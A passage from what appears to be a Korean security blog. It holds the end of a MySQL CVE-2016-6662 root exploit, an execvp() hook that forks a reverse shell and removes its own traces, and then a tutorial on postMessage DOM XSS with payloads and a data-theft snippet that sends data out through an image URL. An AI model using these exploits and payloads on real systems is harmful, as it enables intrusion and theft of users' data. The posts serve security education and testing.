    }
    if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
    fclose(conf);
    return 0;

}


// execvp() hook
int execvp(const char* filename, char* const argv[]) {

    pid_t  pid;
    int fd;

    // Simple root PoC (touch /root/root_via_mysql)
    fd = open("/root/root_via_mysql", O_CREAT);
    close(fd);

    old_execvp = dlsym(RTLD_NEXT, "execvp");

    // Fork a reverse shell and execute the original execvp() function
    pid = fork();
    if (pid == 0)
          reverse_shell();

    // clean injected payload before mysqld is started
    config_cleanup();
    return old_execvp(filename, argv);
}

임시 대응방안

7/29일자로 오라클에 보고되어 패치 우선순위로 진행되고 8/30일 PerconaDB, MariaDB가 패치되었습니다. 해당 DB 사용자는 업데이트로 예방이 가능하며, 업데이터가 어렵거나 패치가 없을 시 임시 방편으로 my.cnf가 수정될 수 없도록 소유자를 일반 사용자가 되지 않도록 관리하고 root 권한으로 설정 파일을 생성하여 Injection으로 부터 파일이 수정/생성 되는 것을 막아야 합니다.

Reference

http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
https://www.exploit-db.com/exploits/40360/
Share: | Coffee Me:

8/30/2016

[WEB HACKING] HTML5 postMessage API를 이용한 XSS/Information Leakage(Hunting Vulnerability)

지난주 Exploit-db에서 뒤적뒤적 하던 중 PostMessage 재미있는 관련 문서를 보게되었습니다.
https://www.exploit-db.com/docs/40287.pdf

바로 postmessage에서 발생하는 취약점을 찾는 방법입니다.
오늘은 이 postmessage를 이용한 XSS 방법들에 대해 좀 더 테스트해본 결과를 공유할까 합니다.

문서 작성해주신 Gary O'Leay-Steele에게 감사의 표현을..
(Thank you for good doc. Gary)

What is postMessage(Window.postMessage)

postMessage 는 HTML5에서 새롭게 추가된 API 중 하나입니다.
(이젠 HTML5도 오래되었네요..)

postMessage는 각각 웹 페이지끼리 메시지를 주고받을 수 있는 api이며 크로스 도큐먼트 메세징(Cross Document Messaging)을 이용해서 두개의 웹 페이지가 서로 메시지를 주고받을 수 있습니다.

http://apress.jensimmons.com/v5/pro-html5-programming/images/ch6/fig6-1.jpg


원형은 이렇습니다.


window.postMessage(data, [ports], targetOrigin)

data: 전달할 메세지, 즉 송신할 데이터를 지정한다
ports: 메세지 포트(생략 가능)
targetOrigin: 타켓 도메인,  즉 메세지를 수신받는 도메인을 지정한다
                  대상이 특정 도메인이 아니라면 * 로 지정한다

(http://m.mkexdev.net 내 참조)

A(parent) B(child)가 있다고 가정하고 A에서 Iframe을 통해 B를 불러옵니다.
그다음 postMessage를 통해 데이터를 쉽게 보낼 수 있습니다.


var google = window.open("https://www.google.com")
google.postMessage("hi","*");

iframe을 통한 창 열기에선 parent내 메소드를 통해서도 가능합니다.
(child기준)


parent.postMessage("Hizzz");

이 postMessage는 원격 도메인 또한 지원하며 CORS(크로스 도메인 정책)의 영향을 받기 때문에 뒤에 나오는 취약점과 보안 문제점들은 Weak CORS가 존재해야 영향력이 있습니다.
(CORS 포스팅을 해둔줄 알았는데..아니였네요..아래 링크 참조하세영)

https://developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS
(개발 정보는 모질리가 최고죠)

postMessage Security Point

위에서 설명드린 대로 CORS 정책을 준수하는 만큼 그만큼의 위험성도 가지고 있다는 것입니다. 메시지를 통해 DOM 영역에 Write 할 수도 있고 Application 이 사용할 수도 있습니다.
그러나 개발자는 이러한 부분 중 보안에 대해 완벽하게 고려하여 개발하기 어렵기 때문에 문제가 발생할 소지가 있는 부분이죠.



postMessaage DOM XSS(Cross-Site Scripting)


dom 영역에 작성 가능한 메소드들을 활용하여 XSS를 할 수 있습니다.
대표적으로... document.write 부터 시작해서 innerHTML 등이 있겠죠.

문서에서는 페이지 이동인 location, open 등등 여러가지 메소드를 제시해주었습니다.
모두 XSS에 많이 사용되는 메소드이지요 :)

Payload
Description
document.write()DOM 영역에 직접 데이터를 씁니다.
document.writeln()DOM 영역에 직접 데이터를 씁니다.
element.innerHTML특정 element 내 data 부분(태그 내) 데이터를 씁니다.
element.outerHTML특정 element 내 data 부분(태그 외) 데이터를 씁니다.
location=DOM 영역의 location(page)를 지정합니다.
location.href=DOM 영역의 location(page)를 지정합니다.
window.open()새로운 창을 엽니다.
location.replace()DOM 영역의 location(page)를 변경합니다.
$()실행
eval()실행
element[script tag].src스크립트 태그 내 src 조작
element[script tag].text스크립트 태그 내 데이터 조작
element[script tag].textContent스크립트 태그 내 데이터 조작
element[script tag].innerText스크립트 태그 내 데이터 조작
[구글 블로그는 제발 에디터에 표 작성 기능을 추가하라. html 로 치기 매우 귀찮다..]

자 이제 실제 공격이 어떻게 이루어지는지 보도록 하겠습니다.
큰 그림을 먼저 살펴보면 아래와 같습니다.

child(attacker) --> parent(victim)
[추가 예정]

일단 취약 페이지 내 코드 부분은 아래 js 코드입니다.

<script>
function receiveMessage(event){
data = event.data;
name_div = document.getElementById("logged_in_as");
name_div.innerHTML = "<b>Welcome: </b>" + data.username;
messages_div = document.getElementById("messages");
messages = data.messages;
msg_length = messages.length;
var msg_html = "";
for (var i = 0; i < msg_length; i++)
 {
    message = messages[i];
    msg_html += "<h2>" + message['title'] + "</h2>";
    msg_html += message.message;
 }
 messages_div.innerHTML = msg_html;
}
window.addEventListener("message", receiveMessage, false);
</script>

postMessage로 사용자의 정보를 받아서 웹에 뿌려주는 기능을 가지고 있습니다.
자 여기서 주목해서 보셔야할 부분은 웹에 뿌리는 부분과 필터링이 없다는 점입니다.

1. 웹에 뿌리는 구간
반복문 아래에 message_div.innerHTML을 통해서 받은 message 값을 쓰게 되는데
innderHTML을 각 태그 내 필터링 없이 직접 값을 쓰게됩니다. 태그 사용이 가능하다는 이야기지요.

2. 필터링 부재
코드에 보시면 전혀 msg_html 변수에 대해 필터링하는 함수가 없습니다. 이는 postMessage를 통해 특수문자를 받을 시 필터링 없이 노출되어 XSS에 취약할 수 있다는 의미입니다.

일반적인 요청은 아래와 같이 user 정보에 대해 전송합니다.


{"username": "HAHWUL", "messages": [
{"message": "this is log!",
"title": "TEST Application"}]

공격자는 이를 변조하여 전송하면 XSS가 가능해지겠죠.
(왜? 필터링이 없으니깐!)

{"username": "HAHWUL<img src='z' onerror=alert(45)>", "messages": [
{"message": "this is log!",
"title": "TEST Application"}]
이러면 전혀 필터링이 없기 때문에 innerHTML로 인해서 <img src='z' onerror=alert(45)> 가 삽입되어 스크립트가 동작하게 됩니다.

그럼 공격자는 어떻게 저 정보를 보낼 수 있을까요?

답은 아까 처음에 postMessage에 있습니다.
https://www.exploit-db.com/docs/40287.pdf#19

parent.postMessage("Hizzz");

parent.postMessage(
{"username": "HAHWUL<img src='z' onerror=alert(45)>", "messages": [
{"message": "this is log!",
"title": "TEST Application"}]);

요런식으로 보내게 된다면 postMessage를 통해 받은 parent(victim)이 스크립트 구문을 innerHTML에 적어 XSS가 동작하게 됩니다.

postMessaage DOM XSS(Cross-Site Scripting) / Testing Code

위 데이터는 실제 취약했던 사이트를 배경으로 작성된 것 같네요. 그럼 우리만의 간단한 테스트 페이지를 만들어서 볼까요?

먼저 취약 페이지를 만들어봅니다.

test2.html

<!DOCTYPE html>
<html>
<head></head>
<body>
MESSAGE<br>
  <div id="message"></div>   
</body>
</html>
<script type="text/javascript">   
  window.onmessage = function(e){
    document.getElementById("message").innerHTML += e.data;
  }
</script>

이 페이지는 message를 받아서 출력해주는 코드를 가지고 있습니다.
이제 이 페이지를 호출하는 페이지를 만들어 봅니다.

test.html

<!DOCTYPE html>
<html>
<head></head>
<body>
  <div id="message"></div>
  <button onclick="sendMessage();">Send-></button>
  <iframe id="tt" src="test2.html" width="200" height="100"></iframe>
</body>
</html>
<script type="text/javascript"> 
  function sendMessage(){
    var dest = document.getElementById("tt");
    dest.contentWindow.postMessage("<br>Parent: MSG","*");
  }   
</script>

test.html을 열어서 send를 눌러보시면 메시지가 전송되는 걸 볼 수 있습니다. 만약 우리가 이 MSG에 대해 제어가 가능하다면 이런식으로 공격이 들어갈 수 있겠죠.

test.html(attack code)

<!DOCTYPE html>
<html>
<head></head>
<body>
  <div id="message"></div>
  <button onclick="sendMessage();">Send-></button>
  <iframe id="tt" src="test2.html" width="200" height="100"></iframe>
</body>
</html>
<script type="text/javascript"> 
  function sendMessage(){
    var dest = document.getElementById("tt");
    dest.contentWindow.postMessage("<br>Parent: MSG<img src='z' onerror=alert(45)>","*");
  }   
</script>

간단하게 어떤 방식인지 표현하기 위해서 직접 삽입했고, 실제로는 메시지 데이터를 쓰는 부분에서 postMessage를 통해 넘어가기 때문에 공격구문을 넣어서 child로 보낼 수 있습니다.

실행되는 걸 보면 아래와 같습니다.


postMessage Sensitive Data Leakage

postMessage를 이용하면 반대로 민감한 데이터를 훔치는 것도 가능합니다.
물론 웹 요청을 타고 넘어가진 않아 SSL 여부와는 별개로 볼 수 있습니다. 브라우저단에서 API로 처리되기 때문에 Burp 같은 툴로는 보이지 않습니다. 그러나 사용자의 정보를 가져오는 부분등 Parent가 Child에게 요청해서 데이터를 받는 부분에선 어떨까요?

JSON Hijack이나 여러 데이터 탈취 기법들과 동일하게 postMessage도 데이터를 전송할 때 요청한 창(Parent)에 대한 검증이 필요합니다. 공격자가 취약 페이지를 자신들의 사이트에서 Child로 호출한 후 postMessage를 통해 정보 수집을 하는 기능을 요청한다면 손쉽게 사용자의 정보를 얻어낼 수 있겠지요.

(영어가 좀 딸려서 문서에서 말한거랑 제 생각이랑 같은건지는 모르겠네요.. 써놓고 보다보니 문서에 유사한 내용이 있었네요 이건..)

일단 저는 제 생각으로 작성합니다. 문서 보시고 혹시나 같다면 말씀주세요. 궁금궁금

예를들어 이런 코드가 있다고 칩시다.

Victim

function parent_getUserInfo()
{
   var userdata=[name,age, 등등...];
   parent.postMessage(userdata);
}

Attacker

<img src="http://127.0.0.1/?" id=message>  <!-- 공격자 페이지 -->
<script>
 window.onmessage = function(e){    // data를 읽어와서
 document.getElementById("message").src += "&"+e.data; //
</script>

음.. 사실 대충 머릿속으로 짠거라 동작할지는 모르겠네요.

단순하게 정보를 반환하는 함수가 있다고 하면 공격자가 다른 웹 서비스에서 해당 페이지를 호출(iframe)합니다.
XSS가 취약한 페이지에서 postMessage가 취약한 페이지를 호출하는 느낌(?)

그러면 parent가 XSS가 취약한 페이지로 되어있고, 해당 서버로 userdata의 데이터가 넘어갈 겁니다.
그러면 공격자는 parent(XSS 취약 페이지)에서 자신의 서버로 다시 정보를 날려서 데이터를 탈취할 수 있습니다.

PMHOOK을 이용한 postMessage Testing

제가 봤던 문서에서는 PMHOOK을 이용해서 postMessage를 테스팅 하는 방법에 대해 다룹니다.
PMHOOK은 Client side에서 JS 라이브러리를 분석하는 툴로 Chrome, filrefox 확장기능(addon)인 tampermonkey를 이용해서 동작한다고 하네요.
https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl=ko

tampermonkey 설치 후 PMHook을 다운받아서 테스트할 수 있고, 이 내용은 관련 문서랑 내용 일부 보시면 좋을 것 같습니다.



문서 링크: https://www.exploit-db.com/docs/40287.pdf#19 (19페이지 부터)
내용 일부


1.Install Chrome or Firefox and add the TamperMonkey browser extension
To install PMHook, first download and install either the Chrome or Firefox web browsers and add the TamperMonkey browser extension from https://tampermonkey.net

2.Install PMHook
Download PMHook from http://pmhook.appcheck-ng.com and install it as a UserScript via the TamperMonkey Dashboard.

3.Verify the install
With the PMHook installed, browse to https://www.google.com/(and perhaps a few othermajor sites) and then access the PMHook UI at https://pmhook.appcheck-ng.com.

Click the “Dump Handlers” button and you should now see a list of logged message handlers

끝으로 해당 문서에서 보시면 postMessage 관련해서 각종 우회 방법과 테스트 케이스들이 있습니다. 숙지해두시면 언젠간 꼭 도움될테니 재미있게 보시면 좋을 것 같습니다. 저도 추가로 연구중이며 혹시나 궁금한점 있으시면 댓글 or 메일 부탁드립니다. (저분한테 직접 물어보시는것도 좋아요)

Reference

https://www.exploit-db.com/docs/40287.pdf
http://m.mkexdev.net/75
https://developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS
Share: | Coffee Me: